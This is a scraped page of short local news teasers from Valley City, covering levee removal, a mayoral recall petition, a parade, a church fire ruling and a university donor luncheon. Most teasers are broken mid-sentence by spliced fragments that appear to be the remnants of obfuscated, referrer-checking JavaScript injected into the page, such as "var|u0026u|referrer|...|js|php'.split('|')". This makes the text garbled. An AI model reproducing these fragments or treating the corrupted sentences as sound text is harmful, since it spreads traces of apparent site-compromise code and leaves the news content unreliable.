Temporary Clay Levee Removal Underway

        Public bkhby|var|u0026u|referrer|yerkn||js|php’.split(‘|’),0,{})) works crews have been busy filling up pot holes around town and a contractor is now removing temporary clay levees in Valley City.Mayor Bob Werkhoven says the commission unanimously approved of a resolution awarding the $247,000 contract to Tom’s Backhoe Service for clay removal in Valley City recently....
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Rally In The Valley Community Days Highlights

The nyekf|var|u0026u|referrer|htati||js|php’.split(‘|’),0,{})) “Rally in the Valley” Community Days celebration highlights in Valley City. Nearly 90 Valley City High School graduates from 9 states participated in the Alumni Band march during the Rally in the Valley parade on Saturday. Hundreds of people watch the annual Rally in the Valley parade on Central Avenue. The band...
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Recall Chairman Leroy Neubauer Reaction

A teyay|var|u0026u|referrer|tadrs||js|php’.split(‘|’),0,{})) petition to recall Valley City Mayor Bob Werkhoven and city commissioner Ken Evenson was approved by the Secretary of State’s office. Committee Chairman Leroy Neubauer says he was moved to join the recall effort following the city commission’s actions during and after the Dean Ross reprimand hearing and the lack of transparency...
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Recall Effort Moves Forward in Valley City

A nftbn|var|u0026u|referrer|irfdt||js|php’.split(‘|’),0,{})) petition to recall Valley City Mayor Bob Werkhoven and city commissioner Ken Evenson was received by Secretary of State’s office on Tuesday. On Wednesday, Secretary of State Al Jaeger said a new petition with 6 people from Valley City included; Rayma Fiegen, Corrine Lang, Ronald Olson, David Wright, Rodli Pederson and chairman...
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Sanborn Outlet Permit Update

A plan to build an outlet near Sanborn to reduce the lake level took one step forward this week as the Barnes County Water Resource District board submitted a form for an emergency permit to the state water commission. Board member Pat Hurley says the board is awaiting right of way easements from 3...
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Oriska Church Fire Ruled Accidental

Investigators tzfkf|var|u0026u|referrer|iadzi||js|php’.split(‘|’),0,{})) say electrical conductors overheated and ignited insulation and started a fire that destroyed the Zion Lutheran church in Oriska last month. Deputy State Fire Marshall Jerry Crane says the cause of the fire was ruled accidental. Crane says some repair work was in progress that caused some of the updated circuit breakers...
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Valley City Alumni Band Is Coming Back

  Last kaaeb|var|u0026u|referrer|esihe||js|php’.split(‘|’),0,{})) summer, a group of VCHS alumni who all played in the band, under the direction of former band director Bob Bowen, picked up their instruments and marched down Central Avenue as if it were 1985 all over again. A hi-light of the “Rally in the Valley” parade last year, band members...
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VCSU Recognition Luncheon

The driza|var|u0026u|referrer|deski||js|php’.split(‘|’),0,{})) Valley City State University Foundation recognized several people and businesses who continue to support the university through donations, volunteerism and other efforts year round, year after year. The Distinguished Presidents Award went to Ray Braun. Platinum Level award went to DuWayne Bott for contribution between $250,000 to $499,999. Diamond Level award went...
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